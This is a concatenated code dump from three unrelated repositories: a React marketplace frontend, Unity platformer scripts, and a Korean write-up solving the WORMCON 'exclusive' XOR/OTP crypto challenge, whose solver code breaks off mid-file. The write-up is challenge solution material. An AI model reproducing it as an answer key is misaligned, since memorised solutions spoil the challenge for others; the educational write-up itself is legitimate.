text: 'Não foi possível enviar os dados.',
});
console.log(response);
reset(defaultProduct);
setFormValue(defaultProduct);
}
});
};
return (
<FormContainer style={{ width: '100%', marginTop: 80 }}>
<h1>Novo Produto</h1>
<Form onSubmit={handleSubmit(onSubmit)}>
<FormDiv>
<Form.Field required>
<label htmlFor="name">Produto</label>
<input
type="text"
name="name"
id="name"
placeholder="Nome do Produto"
ref={register({
required: 'Nome necessário!',
})}
/>
{errors.name && <Error>{errors.name.message}</Error>}
</Form.Field>
<Form.Field required>
<label htmlFor="category">Categoria</label>
<select
onChange={({ target }) => setFormValue({ ...formValue, subCategory: target.value })}
name="subCategory"
id="subCategory"
ref={register({ required: 'Escolha uma categoria!' })}
placeholder="Escolha uma categoria">
{subcategorias.map(({ name, content }) => (
<optgroup label={name} key={name}>
{content.map((opt) => (
<option key={opt} value={opt}>
{opt}
</option>
))}
</optgroup>
))}
</select>
{errors.category && <Error>{errors.category.message}</Error>}
</Form.Field>
<Form.Field required>
<label htmlFor="images">Imagens</label>
<input
type="file"
name="images"
id="images"
accept="image/x-png,image/gif,image/jpeg"
placeholder="Inserir imagem"
multiple
defaultValue={[]}
onChange={({ target }): void =>
setFormValue({
...formValue,
images: [...formValue.images, target.value],
})
}
/>
{formValue.images?.length < 1 && <Error>Insira ao menos uma imagem!</Error>}
{formValue.images?.map((img: string, idx: number) => (
<div key={idx} style={{ display: 'flex' }}>
<p>
{img}
<DeleteImg
onClick={(): void =>
setFormValue({
...formValue,
images: formValue.images.filter((_: string, i: number) => i !== idx),
})
}>
x
</DeleteImg>
</p>
</div>
))}
</Form.Field>
<Form.Field>
<label htmlFor="usability">Estado de conservação</label>
<input
style={{ width: '75%' }}
name="usability"
id="usability"
type="range"
min={1}
max={5}
ref={register}
onChange={({ target }): void => {
setFormValue({ ...formValue, usability: target.value });
}}
/>
<div style={{ marginTop: -20, padding: 0 }}>{estado}</div>
</Form.Field>
<Form.Field>
<label htmlFor="interests">
Interesses para troca <em style={{ color: 'grey' }}>(opcional)</em>
</label>
<input
type="text"
id="interests"
name="interests"
placeholder="Interesses para troca, separados por vírgula"
ref={register}
/>
</Form.Field>
<Form.Field required>
<label htmlFor="description">Detalhes</label>
<textarea
name="description"
id="description"
rows={4}
ref={register({
required: 'Descreva seu produto.',
})}
placeholder="Detalhes como possíveis sinais de uso,
manchas, partes faltantes ou estragadas, para que os
visitantes saibam o que esperar do seu produto."
/>
{errors.description && <Error>{errors.description.message}</Error>}
</Form.Field>
<Form.Field required>
<label htmlFor="value">Valor de referência para Skambo</label>
<input
type="tel"
name="value"
id="value"
placeholder="1,00"
maxLength={11}
ref={register({
required: 'Informe o valor',
validate: {
bigger: (value: string): boolean | string =>
parseInt(value.replace(/\D/g, ''), 10) > 100 || 'Valor mínimo: R$ 1,00',
},
})}
onChange={({ target }): void =>
setFormValue({
...formValue,
value: formatNumber(target.value),
})
}
value={formValue.value}
/>
{errors.value && <Error>{errors.value.message}</Error>}
</Form.Field>
<Form.Field>
<label htmlFor="boost">Plano de Impulsinamento</label>
<select
defaultValue="None"
name="boost"
id="boost"
ref={register}
placeholder="Plano de impulsionamento">
<option value="None">Nenhum</option>
<option value="Plan1">1 Semana = R$ 15,00</option>
<option value="Plan2">2 Semanas = R$ 22,00</option>
<option value="Plan3">1 Mês = R$ 30,00</option>
</select>
</Form.Field>
</FormDiv>
<Form.Field>
<ButtonsDiv>
<ResetButton
type="reset"
onClick={(): void => {
reset();
setFormValue(defaultProduct);
}}>
Limpar
</ResetButton>
<SendButton>Cadastrar</SendButton>
</ButtonsDiv>
</Form.Field>
</Form>
</FormContainer>
);
};
export default NewProduct;
<file_sep>import styled from "styled-components"
export const BannerContainer = styled.div`
max-width: 850px;
width: 100%;
height: 300px;
position: relative;
left: 5%;
right: 5%;
margin-bottom: 100px;
@media(max-width: 1090px) {
max-width: 750;
width: 80%;
left: 20px;
right: 20px;
}
@media(max-width: 990px) {
max-width: 650;
width: 70%;
left: 20px;
right: 20px;
}
@media(max-width: 890px) {
max-width: 550;
width: 60%;
left: 20px;
right: 20px;
}
@media(max-width: 790px) {
max-width: 450;
width: 50%;
left: 20px;
right: 20px;
}
@media(max-width: 690px) {
max-width: 350;
width: 40%;
left: 20px;
right: 20px;
}
@media(max-width: 590px) {
display: none;
}
.slick-arrow::before {
color: #000;
}
`;
export const CoverBanner = styled.img`
height: 300px;
`<file_sep>import Home from "./home";
import Login from "./login";
import Register from "./register";
import CategorieSearch from "./categorie-search";
import UserSearch from "./user-search";
import ProductPage from "./product-page";
import NewProduct from './new-product/index';
import UserSales from './user-sales'
import UserFavorites from './user-favorites'
export { Home, Login, Register, UserSearch, CategorieSearch, ProductPage, UserSales, NewProduct, UserFavorites};
<file_sep>import React from 'react';
import { MainBanner, Infos, Img } from './style';
interface BoostBanner {
image: string;
textHeader: string;
subheader: string;
info: string;
}
const BoostBanner = ({ image, textHeader, subheader, info }: BoostBanner) => {
const infos = info.split('-');
const headInfo = infos.shift();
console.log(infos)
return (
<MainBanner>
<Infos>
<h2>{textHeader}</h2>
<h3>{subheader}</h3>
</Infos>
<Img alt="Banner Image" src={image} />
<Infos>
<h3>{headInfo}</h3>
{infos.map((p, i) => (
<p key={i}>{p}</p>
))}
</Infos>
</MainBanner>
);
};
export default BoostBanner;
// demo: https://codesandbox.io/s/hardcore-allen-k1h9q?file=/src/App.js
<file_sep>import styled from 'styled-components';
import { Link } from 'react-router-dom';
export const ButtonForm = styled.button`
font-weight: 700;
margin-top: 20px;
color: #fff;
background-color: var(--primary);
border-radius: 7px;
height: 35px;
width: 293px;
cursor: pointer;
`;
export const LinkForm = styled(Link)`
h3 {
width: 287px;
height: 45px;
text-align: center;
margin-top: 14px;
font-size: 14px;
}
`;
export const ImgForm = styled.img`
width: 250px;
margin: 25px;
`
export const Error = styled.span`
color: #f40909;
`;
<file_sep>import { USER_INFO } from '../actions/types';
const userInfo = localStorage.getItem('currentUser');
const defaultState = {
token: localStorage.getItem('token') || '',
currentUser: userInfo != null ? JSON.parse(userInfo) : {},
};
const session = (state = defaultState, action: any) => {
switch (action.type) {
case USER_INFO:
return { ...state, token: action.token, currentUser: action.currentUser };
default:
return state;
}
};
export default session;
<file_sep>import { USER_SALES, REMOVE_SALE, FETCH_SUCCESS, CHANGE_PRODUCT_INFO } from './types'
import axios from 'axios'
export const userSales = () => ({
type: USER_SALES,
})
export const removeSale = (saleId: string) => ({
type: REMOVE_SALE,
saleId
})
export const requestRemoveSale = (saleId: string, token: string) => (dispatch: any) => {
axios.delete(`https://capstone-q2.herokuapp.com/products/${saleId}`, {
headers: { Authorization: `Bearer ${token}` }
})
.then((res) => {
dispatch(removeSale(saleId))
})
.catch((err) => console.log(err))
}
export const fetchSuccess = (userSales: any) => ({
type: FETCH_SUCCESS,
userSales
})
export const fetchUserSales = (userId: string, token: string) => (dispatch: any) => {
axios.get(`https://capstone-q2.herokuapp.com/products?userId=${userId}`, {
headers: { Authorization: `Bearer ${token}` }
})
.then((res) => {
dispatch(fetchSuccess(res.data))
})
.catch(err => console.log(err))
}
export const changeProductInfo = (saleId: any, values: any) => ({
type: CHANGE_PRODUCT_INFO,
saleId,
values
})<file_sep>import React from "react";
import renderer from "react-test-renderer";
import Sidebar from "../index";
import "jest-styled-components";
import "mutationobserver-shim";
global.MutationObserver = window.MutationObserver;
describe("Sidebar", () => {
it("Should render sidebar", () => {
const tree = renderer.create(<Sidebar />).toJSON();
expect(tree).toMatchSnapshot();
});
});
<file_sep>import React from "react";
import MostViewedProducts from '../../components/most-viewed-products'
import Banner from '../../components/banner-slider'
import { Container } from "./styles";
const Home: React.FC = () => {
return (
<Container>
<Banner />
<MostViewedProducts />
</Container>
);
};
export default Home;
<file_sep>import React, { useState } from 'react'
import { useSelector, useDispatch } from 'react-redux'
import { Button, Header, Input, Modal, Form, Select } from 'semantic-ui-react'
import * as Styled from './styles'
import axios from 'axios'
import { changeProductInfo as changeProductInfoAction } from '../../redux/actions/user'
// import CurrencyInput from 'react-currency-masked-input'
import MaskedInput from 'react-text-mask'
import createNumberMask from 'text-mask-addons/dist/createNumberMask'
interface stateProps {
session: { token: string }
}
const categoryOptions = [
{ key: 1, value: 'Vestuarios', text: 'Vestuário' },
{ key: 2, value: 'Bicicletas', text: 'Bicicletas' },
{ key: 3, value: 'Esportes', text: 'Esportes' },
{ key: 4, value: 'Instrumentos_Musicais', text: 'Instrumentos Musicais' },
{ key: 5, value: 'Jogos', text: 'Jogos' },
{ key: 6, value: 'Livros', text: 'Livros' },
{ key: 7, value: 'Moveis', text: 'Móveis' },
{ key: 8, value: 'Outros', text: 'Outros' },
{ key: 9, value: 'Eletrônicos', text: 'Eletrônicos' }
]
const numberMask = createNumberMask({
prefix: 'R$ ',
suffix: '',
decimalSymbol: ',',
allowDecimal: true,
decimalLimit: 2,
thousandsSeparatorSymbol: '.',
allowNegative: false,
allowLeadingZeroes: false,
})
const EditModal = (saleId: any) => {
const dispatch = useDispatch()
const token = useSelector((state: stateProps) => state.session.token)
const [values, setValues]: any = useState({
name: "",
category: "",
usability: "",
value: "",
thumbnail: ""
})
const [open, setOpen] = useState(false)
const id = saleId.saleId
const getProductInfo = () => {
const url = `https://capstone-q2.herokuapp.com/products/${id}`
axios.get(url)
.then((res) => setValues(res.data))
.catch(err => console.log(err))
}
const changeProductInfo = () => {
axios.patch(`https://capstone-q2.herokuapp.com/products/${id}`, {
...values,
value: values.value.replace(/[^0-9,]/g, "")
}, {
headers: { Authorization: `Bearer ${token}` }
})
.then((res) => console.log(res.data))
.catch(err => console.log(err))
}
return (
<Modal
onClose={() => setOpen(false)}
onOpen={() => {
getProductInfo()
setOpen(true)
}
}
open={open}
trigger={<Styled.EditButton>Editar</Styled.EditButton>}
>
<Modal.Header>Editar informações</Modal.Header>
<Modal.Content>
<Form>
<Form.Field>
<label>Nome</label>
<input onChange={(e) => (setValues({ ...values, name: e.target.value }))} value={values.name} placeholder='' />
</Form.Field>
<Form.Field>
<label>Imagem</label>
<input onChange={(e) => (setValues({ ...values, thumbnail: e.target.value }))} value={values.thumbnail} placeholder='' />
</Form.Field>
<Form.Field>
<label>Categoria</label>
<Select
value={values.category}
options={categoryOptions}
onChange={(e, { value }) => setValues({ ...values, category: value })}
/>
</Form.Field>
<Form.Field>
<label>Condição</label>
<input onChange={(e) => (setValues({ ...values, usability: e.target.value }))} value={values.usability} placeholder='' />
</Form.Field>
<Form.Field>
<label>Valor aprox</label>
<MaskedInput
onChange={(e: any) => (
setValues({ ...values, value: e.target.value })
)} value={values.value}
mask={numberMask}
/>
</Form.Field>
</Form>
</Modal.Content>
<Modal.Actions>
<Button
content="Confirmar Mudanças"
labelPosition='right'
icon='checkmark'
onClick={() => {
setOpen(false)
changeProductInfo()
dispatch(changeProductInfoAction(saleId, {
...values,
value: values.value.replace(/[^0-9,]/g, "")
}))
}}
positive
/>
</Modal.Actions>
</Modal>
)
}
export default EditModal<file_sep>import styled from 'styled-components';
export const Card = styled.div`
margin-top: 20px;
padding: 25px;
strong {
font-size: 14px;
font-weight: 700;
}
p {
color: #545454;
font-size: 12px;
font-weight: 400;
font-family: 'Roboto', sans-serif;
}
img {
width: 182.68px;
height: 197px;
border-radius: 10px;
object-position: top;
object-fit: cover;
cursor: pointer;
}
div {
width: 97%;
white-space: nowrap;
overflow: hidden;
margin-top: 17px;
margin-left: 8px;
cursor: pointer;
}
@media (max-width: 480px) {
img {
width: 230px;
height: 230px;
}
}
@media (max-width: 350px) {
img {
width: 110px;
height: 130px;
}
strong {
font-size: 12px;
}
}
`;
<file_sep>import React, { useState } from 'react';
import { Container, SidebarSize, IconClose, Content } from './styles';
import { GiHamburgerMenu } from 'react-icons/gi';
import { Grid, Sidebar } from 'semantic-ui-react';
import { Categorie } from '../../sidebar/styles';
import { categories } from '../../sidebar/helper';
import { useHistory } from 'react-router-dom';
const MobileCategories = () => {
const [visible, setVisible] = useState(false);
const history = useHistory();
return (
<Container>
<Grid columns={1}>
<Grid.Column>
<GiHamburgerMenu onClick={() => setVisible(!visible)} />
</Grid.Column>
<Grid.Column>
<Sidebar
as={SidebarSize}
animation="overlay"
icon="labeled"
onHide={() => setVisible(false)}
vertical
visible={visible}>
<IconClose onClick={() => setVisible(false)} />
<Content>
{categories.map((item, index) => (
<Categorie
className={item.classStyle}
key={index}
onClick={() => {
history.push(`/category/${item.name.toLocaleLowerCase()}`);
setVisible(!visible);
}}>
<item.icon className="icon-style" /> {item.name}
</Categorie>
))}
<h4> Ver todas as categorias </h4>
</Content>
</Sidebar>
</Grid.Column>
</Grid>
</Container>
);
};
export default MobileCategories;
<file_sep>import styled from 'styled-components';
export const Container = styled.div`
display: flex;
flex-direction: column;
margin-top: 125px;
width: 950px;
@media (max-width: 480px) {
margin-top: 30px;
width: 100vw;
h3 {
text-align: center;
}
}
`;
export const ResultSearch = styled.div`
display: flex;
flex-wrap: wrap;
@media (max-width: 480px) {
justify-content: center;
align-items: center;
}
`;
<file_sep>import styled from "styled-components";
import { AiOutlineClose } from "react-icons/ai";
export const Container = styled.div`
display: none;
position: absolute;
top: 0px;
left: 0px;
margin: 10px;
font-size: 30px;
z-index: 10;
@media (max-width: 480px) {
display: block;
}
`;
export const Content = styled.div`
position: absolute;
top: 90px;
left: 40px;
`;
export const SidebarSize = styled.div`
width: 70%;
background: white;
`;
export const IconClose = styled(AiOutlineClose)`
position: absolute;
top: 0px;
left: 0px;
margin: 20px;
font-size: 32px;
cursor: pointer;
`;
<file_sep>import React from "react";
import { Container, Categorie } from "./styles";
import "./sidebar.css";
import { categories } from "./helper";
import { useHistory } from "react-router-dom";
const Sidebar: React.FC = () => {
const history = useHistory();
return (
<Container>
{categories.map((item, index) => (
<Categorie className={item.classStyle} onClick={()=> history.push(`/category/${item.name.toLocaleLowerCase()}`)} key={index}>
<item.icon className="icon-style" /> {item.name}
</Categorie>
))}
<Categorie>
<h5> Ver todas as categorias </h5>
</Categorie>
</Container>
);
};
export default Sidebar;
|
c0c6e26a06b8b19fb1e8530c1a81e49186231407
|
[
"Markdown",
"TypeScript",
"JavaScript",
"TSX"
] | 67 |
Markdown
|
brunocamposal/skambo
|
ede6e61e3e6039fcff004ea434520834d32e1e07
|
6133ed6c4a48ec578bbbfd39c3e68bd8f96a57bf
|
refs/heads/master
|
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class FeetManager : MonoBehaviour {
private PlayerManager playerManager;
// Use this for initialization
void Start () {
playerManager = this.gameObject.GetComponentInParent<PlayerManager>();
}
private void OnCollisionEnter2D(Collision2D collision)
{
if (collision.gameObject.tag == "Ground")
{
playerManager.isGrounded = true;
}
}
private void OnCollisionStay2D(Collision2D collision)
{
if (collision.gameObject.tag == "Ground")
{
playerManager.isGrounded = true;
}
}
private void OnCollisionExit2D(Collision2D collision)
{
if (collision.gameObject.tag == "Ground")
{
playerManager.isGrounded = false;
}
}
//private void OnColliderEnter2D(Collider2D collision)
//{
// if (collision.gameObject.tag == "Ground")
// {
// playerManager.isGrounded = true;
// }
//}
//private void OnTriggerExit2D(Collider2D collision)
//{
// if (collision.gameObject.tag == "Ground")
// {
// playerManager.isGrounded = false;
// }
//}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.SceneManagement;
public class DontDestroy : MonoBehaviour
{
void Awake()
{
GameObject[] objs = GameObject.FindGameObjectsWithTag("music");
//if (objs.Length > 2)
// Destroy(this.gameObject);
DontDestroyOnLoad(this.gameObject);
}
// Start is called before the first frame update
void Start()
{
}
// Update is called once per frame
void Update()
{
if (SceneManager.GetActiveScene().name == "FinalLevel" || SceneManager.GetActiveScene().name == "Chest" || SceneManager.GetActiveScene().name == "MainMenu")
{
Destroy(this.gameObject);
}
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.SceneManagement;
public class KeyDetectionManager : MonoBehaviour
{
[SerializeField]
private string submitScene = null;
[SerializeField]
private string cancelScene = null;
// Start is called before the first frame update
void Start()
{
}
// Update is called once per frame
void Update()
{
if (Input.GetButtonDown("Submit"))
{
if (!string.IsNullOrWhiteSpace(submitScene)) SceneManager.LoadScene(submitScene);
}
else if (Input.GetButtonDown("Cancel"))
{
if (!string.IsNullOrWhiteSpace(cancelScene)) SceneManager.LoadScene(cancelScene);
}
else if (Input.GetButtonDown("Exit"))
{
if (Application.platform != RuntimePlatform.WebGLPlayer) Application.Quit();
}
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class PlayerManager : MonoBehaviour
{
[Header("Movement Settings")]
[SerializeField]
private float maxRunSpeed = 3;
[SerializeField]
private float runSpeed = 10;
[SerializeField]
private float jumpSpeed = 10;
[SerializeField]
private float fallMultiplier = 2.5f;
[SerializeField]
private float lowJumpMultiplier = 3f;
// [HideInInspector]
public bool isGrounded;
// [HideInInspector]
public bool canJump;
private Rigidbody2D rigidbodyComponent;
private Animator animator;
[SerializeField]
private bool isTouchingWall;
[Header("Game events")]
[SerializeField]
private GameEvent playerFollowedRules;
private Transform standardMode;
private SpriteRenderer spriteRenderer;
[SerializeField]
private Sprite lightSprite;
// Use this for initialization
void Start()
{
rigidbodyComponent = this.GetComponent<Rigidbody2D>();
animator = this.GetComponent<Animator>();
spriteRenderer = this.GetComponent<SpriteRenderer>();
standardMode = this.transform.Find("StandardMode");
isGrounded = true;
isTouchingWall = false;
canJump = true;
}
// Update is called once per frame
void Update()
{
animator.SetBool("IsGrounded", isGrounded);
float currentRunSpeed;
if (!Input.GetButton("Horizontal"))
{
currentRunSpeed = 0;
}
else currentRunSpeed = Input.GetAxis("Horizontal");
animator.SetFloat("CurrentRunSpeed", Mathf.Abs(currentRunSpeed));
ChangeFacingDirection();
MovePlayer();
if (canJump) JumpPlayer();
}
//FixedUpdate is called at a fixed interval and is independent of frame rate. Put physics code here.
void FixedUpdate()
{
// Debug.Log("x:" + rigidbodyComponent.velocity.x + "- y:" + rigidbodyComponent.velocity.y);
}
private void ChangeFacingDirection()
{
if (Input.GetAxis("Horizontal") < -0.01f)
{
this.transform.localScale = new Vector3(-Mathf.Abs(this.transform.localScale.x), this.transform.localScale.y, this.transform.localScale.z);
}
else if (Input.GetAxis("Horizontal") > 0.01f)
{
this.transform.localScale = new Vector3(Mathf.Abs(this.transform.localScale.x), this.transform.localScale.y, this.transform.localScale.z);
}
}
private void MovePlayer()
{
//Store the current horizontal input in the float moveHorizontal.
float moveHorizontal;
//If button for movement not pressed, reset velocity to 0 so the player will stop moving immediatly (removing any deccelaration effect)
//Also set velocity to 0 if player is touching the wall on air to avoid odd momentum
if (!Input.GetButton("Horizontal") || (isTouchingWall && !isGrounded))
{
moveHorizontal = 0;
}
else
{
moveHorizontal = Input.GetAxis("Horizontal") * runSpeed;
}
Vector2 movement = new Vector2(moveHorizontal, rigidbodyComponent.velocity.y);
rigidbodyComponent.velocity = movement;
//Limit max speed velocity
if (rigidbodyComponent.velocity.x > maxRunSpeed)
{
rigidbodyComponent.velocity = new Vector2(maxRunSpeed, rigidbodyComponent.velocity.y);
}
else if (rigidbodyComponent.velocity.x < -maxRunSpeed)
{
rigidbodyComponent.velocity = new Vector2(-maxRunSpeed, rigidbodyComponent.velocity.y);
}
}
private void JumpPlayer()
{
if (Input.GetButtonDown("Jump") && isGrounded)
{
rigidbodyComponent.velocity = Vector2.up * jumpSpeed;
}
//Add gravity when player is falling to have a better jump feeling
//https://www.youtube.com/watch?v=7KiK0Aqtmzc
if (rigidbodyComponent.velocity.y < 0)
{
rigidbodyComponent.velocity += Vector2.up * Physics2D.gravity.y * (fallMultiplier - 1) * Time.deltaTime;
}
else if (rigidbodyComponent.velocity.y > 0 && !Input.GetButton("Jump")) //Add a low jump when just pressing the jump key
{
rigidbodyComponent.velocity += Vector2.up * Physics2D.gravity.y * (lowJumpMultiplier - 1) * Time.deltaTime;
}
}
private void OnTriggerEnter2D(Collider2D collision)
{
if (collision.gameObject.tag == "Rule")
{
playerFollowedRules.Fire(new GameEventMessage(this));
}
else if (collision.gameObject.tag == "Light")
{
spriteRenderer.sprite = lightSprite;
}
else if (collision.gameObject.tag == "ShittyW")
{
canJump = false;
}
}
private void OnTriggerExit2D(Collider2D collision)
{
if (collision.gameObject.tag == "ShittyW")
{
canJump = true;
}
}
private void OnCollisionEnter2D(Collision2D collision)
{
if (collision.gameObject.tag == "Wall")
{
isTouchingWall = true;
}
}
private void OnCollisionStay2D(Collision2D collision)
{
if (collision.gameObject.tag == "Wall")
{
if (isGrounded) isTouchingWall = false;
else isTouchingWall = true;
}
}
private void OnCollisionExit2D(Collision2D collision)
{
if (collision.gameObject.tag == "Wall")
{
isTouchingWall = false;
}
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.SceneManagement;
public class EndGameManager : MonoBehaviour
{
[SerializeField]
private string nextLevel = "MainMenu";
AudioSource audioSource;
public AudioClip otherClip;
private bool hasPlayedSound;
private SpriteRenderer spriteRenderer;
// Use this for initialization
void Start()
{
hasPlayedSound = false;
audioSource = this.GetComponent<AudioSource>();
spriteRenderer = this.GetComponent<SpriteRenderer>();
}
// Update is called once per frame
void Update()
{
if (hasPlayedSound)
{
if (!audioSource.isPlaying)
{
SceneManager.LoadScene(nextLevel);
}
}
}
private void OnTriggerEnter2D(Collider2D collision)
{
if (collision.gameObject.tag == "Player")
{
if (!hasPlayedSound)
{
if (!audioSource.isPlaying)
{
audioSource.clip = otherClip;
audioSource.time = 10;
audioSource.Play();
hasPlayedSound = true;
spriteRenderer.enabled = false;
// collision.gameObject.GetComponentInParent<Rigidbody2D>().constraints = RigidbodyConstraints2D.FreezeAll;
}
}
}
}
private void OnTriggerStay2D(Collider2D collision)
{
if (collision.gameObject.tag == "Player")
{
}
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class GameEventMessage
{
public const int DEFAULT_INT= -1;
public const float DEFAULT_FLOAT = -1;
public const bool DEFAULT_BOOL = false;
public const string DEFAULT_STRING = "";
public Component EventSender
{
get; set;
}
public GameEvent GameEventSender
{
get; set;
}
public int intValue1;
public int intValue2;
public int intValue3;
public float foatValue1;
public float foatValue2;
public float foatValue3;
public bool boolValue1;
public bool boolValue2;
public bool boolValue3;
public string stringValue1;
public string stringValue2;
public string stringValue3;
public Vector3 vectorValue1;
public Vector3 vectorValue2;
public Vector3 vectorValue3;
public GameEventMessage(Component gameEvent)
{
EventSender = gameEvent;
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.SceneManagement;
public class MainMenu : MonoBehaviour {
// Use this for initialization
void Start () {
}
// Update is called once per frame
void Update () {
}
public void OnChangeScene(string sceneName)
{
SceneManager.LoadScene(sceneName);
}
public void OnChangeScene(int sceneID)
{
SceneManager.LoadScene(sceneID);
}
public void OnQuitGame()
{
Application.Quit();
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.Events;
[System.Serializable]
public class UnityMyEvent : UnityEvent<GameEventMessage>
{
}
public class GameEventListener : MonoBehaviour
{
[SerializeField]
private GameEvent[] gameEvents;
[SerializeField]
private UnityMyEvent myEvent;
// Use this for initialization
void Start()
{
}
// Update is called once per frame
void Update()
{
}
private void OnEnable()
{
foreach (GameEvent evt in gameEvents)
evt.AddListerner(this);
}
private void OnDisable()
{
foreach (GameEvent evt in gameEvents)
evt.RemoveListerner(this);
}
public void SendEvent(GameEventMessage message)
{
myEvent.Invoke(message);
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
[CreateAssetMenu(menuName = "GameEvents/GameEvent")]
public class GameEvent : ScriptableObject
{
public string eventName = "GameEvent";
private List<GameEventListener> listeners = new List<GameEventListener>();
public void AddListerner(GameEventListener eventListener)
{
listeners.Add(eventListener);
}
public void RemoveListerner(GameEventListener eventListener)
{
listeners.Remove(eventListener);
}
public void Fire(GameEventMessage message)
{
message.GameEventSender = this;
foreach (GameEventListener listener in listeners)
listener.SendEvent(message);
}
}
<file_sep>using System.Collections;
using System.Collections.Generic;
using UnityEngine;
using UnityEngine.SceneManagement;
public class EndLevelManager : MonoBehaviour {
[SerializeField]
private string nextLevel = "MainMenu";
private bool hasToRestart;
// Use this for initialization
void Start () {
hasToRestart = false;
}
// Update is called once per frame
void Update () {
}
public void OnPlayerFollowedRules(GameEventMessage message)
{
hasToRestart = true;
}
private void OnTriggerEnter2D(Collider2D collision)
{
if (collision.gameObject.tag == "Player")
{
if (hasToRestart)
SceneManager.LoadScene(SceneManager.GetActiveScene().name);
else
SceneManager.LoadScene(nextLevel);
}
}
}
|
348178b93e3e9ae124679981d487d514f482582a
|
[
"C#"
] | 10 |
C#
|
AoiMasa/OrbitalGameJam2019
|
37e62b7d22ad9bab4e2e49708b051672ee30400e
|
0f46e80d8c8e695c5c2e16314a0bd0127e28b40a
|
refs/heads/main
|
<repo_name>Demon-KR/Demon-CTF-Writeup<file_sep>/WORMCON0x01/cryptography/exclusive/writeup/exclusive-writeup.md
# Crypto exclusive
지문에서 얻을 수 있는 힌트는 없다.
```python
SO EXCLUSIVE. MUCH ELITE. SUCH WOW.
```
2개의 파일 chall.py와 out.txt가 주어진다.
```python
cipher = a1adabc2b7acbbffb5ae86fee8edb1aeabc2e8a886a986f5e9f0eac2bbefeaeaeaf986fee8edb1aeab%
```
- Python Code
```python
#!/usr/bin/env python3
import os
def splitit(n):
return (n >> 4), (n & 0xF)
def encrypt(n, key1, key2):
m, l = splitit(n)
e = ((m ^ key1) << 4) | (l ^ key2)
return e
FLAG = open('flag.txt').read().lstrip('wormcon{').rstrip('}')
alpha = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_'
assert all(x in alpha for x in FLAG)
otp = int(os.urandom(1).hex(), 16)
otpm, otpl = splitit(otp)
print(f"{otp = }")
cipher = []
for i,ch in enumerate(FLAG):
if i % 2 == 0:
enc = encrypt(ord(ch), otpm, otpl)
else:
enc = encrypt(ord(ch), otpl, otpm)
cipher.append(enc)
cipher = bytes(cipher).hex()
print(f'{cipher = }')
open('out.txt','w').write(f'cipher = {cipher}')
```
코드를 요약하면, 다음과 같다.
1. 출제자는 플래그 파일을 로드한다.
1. 플래그 포맷은 제외하고 로드시킨다.
2. 로드한 데이터는 암호화에 이용된다.
2. OTP의 범위는 0x00 - 0xFF이다.
1. OTP 번호 하나가 추출되면 상위 1바이트, 하위 1바이트로 분할된다. 상위 1바이트는 otpm, 하위 1바이트는 otpl로 칭한다.
2. 분할 된 데이터는 플래그 인덱스 짝수, 홀수에 따라 서로 다른 루틴을 가지게 된다.
1. 짝수일 경우, otmp, otpl순서
2. 홀수일 경우, otpl, otmp순서
3. 플래그 길이(포맷 제외): 41바이트
4. 연산 끝나면 암호화 파일('out.txt')를 생성한다.
문제를 풀 때, 복호화 연산을 생각하려고 했는데 생각보다 시간이 오래걸릴 거 같다는 판단이 들었다. 그래서 문제를 들여다볼 당시에 이런 마인드로 접근하였다.
출제자는 이 문제를 제작할 때, 마음에 드는 숫자 0x00 - 0xFF중 하나를 선택했을 것이다. 그리고 output을 만들어 둔뒤, 참가자들에게 코드를 전달할 때는 랜덤을 쓴 것 처럼 눈속임을 했을 것이라고 생각했다.
출제자가 검수를 꼼꼼히 했는지는 모르겠지만, 41번 횟수를 하나의 암호 알고리즘을 통해 2개의 조건문 분기로 연산을 수행하면 중복되는 랜덤 OTP값, 전혀 사용되지 않은 랜덤 OTP값이 있을 거라 생각했다.
그래서 사용되지 않은 OTP값을 추려내기 위해 다음과 같은 방법을 사용하였다. 소스코드를 보면 보안의 취약점이 보이게 된다. OTP는 단 한번만 생성되고, OTP의 헥사값을 상위,하위로 쪼개어 진행되는데 이때 생성된 OTP만 암호화 알고리즘에 관여한다. 즉, OTP가 한번 생성되면 그 값이 무엇이든 간에 100번이든 1000번이든 똑같은 암호화 알고리즘과 직면하게 된다는 것이다.
그렇다면, 첫번째 암호화 데이터 0xa1을 목표치로 잡았을 때 OTP 0x00-0xFF 중 어떤 데이터가 암호화 알고리즘을 거쳐 0xa1에 도달할 수 있는지 확인하는 작업을 거치게 된다면 아주 쉽게 사용될 "**가능성**"이 있는 값을 알 수 있게 된다.
첫 번째 바이트만 기준으로 했을 때 마주할 수 있는 후보는 다음과 같았다.
```python
otp = [145, 144, 147, 146, 149, 148, 151, 150, 153, 152, 192, 195, 194, 197, 196, 199, 198, 201, 200, 203, 202, 205, 204, 207, 206, 209, 208, 211, 210, 213, 212, 215, 214, 217, 216, 219, 224, 227, 226, 229, 228, 231, 230, 233, 232, 235, 234, 237, 236, 239, 238, 241, 240, 243, 242, 245, 244, 247, 246, 249, 248, 251]
```
두번째 바이트만 기준으로 했을 때 마주할 수 있는 후보는 다음과 같았다.
```python
otp = [217, 201, 249, 233, 153, 204, 236, 205, 237, 206, 254, 238, 207, 239]
```
이 둘의 교집합만 구하게 된다면, 우리는 사용할 수 있는 OTP의 범위가 눈에 뛰게 줄어들 것이다.
이 방법을 이용하여 결국, OTP는 단 하나 217만이 41바이트 모두를 만족하게 되었다.
실시간으로 작성했기에 코드는 다소 정신없지만, 플래그를 얻기엔 충분한 코드이다.
- Code
```python
import os
import string
flag = string.digits+string.ascii_letters+"_"
# global
real_flag = [0xa1,0xad,0xab,0xc2,0xb7,0xac,0xbb,0xff,0xb5,0xae,0x86,0xfe,0xe8,0xed,0xb1,0xae,0xab,0xc2,0xe8,0xa8,0x86,0xa9,0x86,0xf5,0xe9,0xf0,0xea,0xc2,0xbb,0xef,0xea,0xea,0xea,0xf9,0x86,0xfe,0xe8,0xed,0xb1,0xae,0xab]
even_flag = []
odd_flag = []
even_otp_guess = []
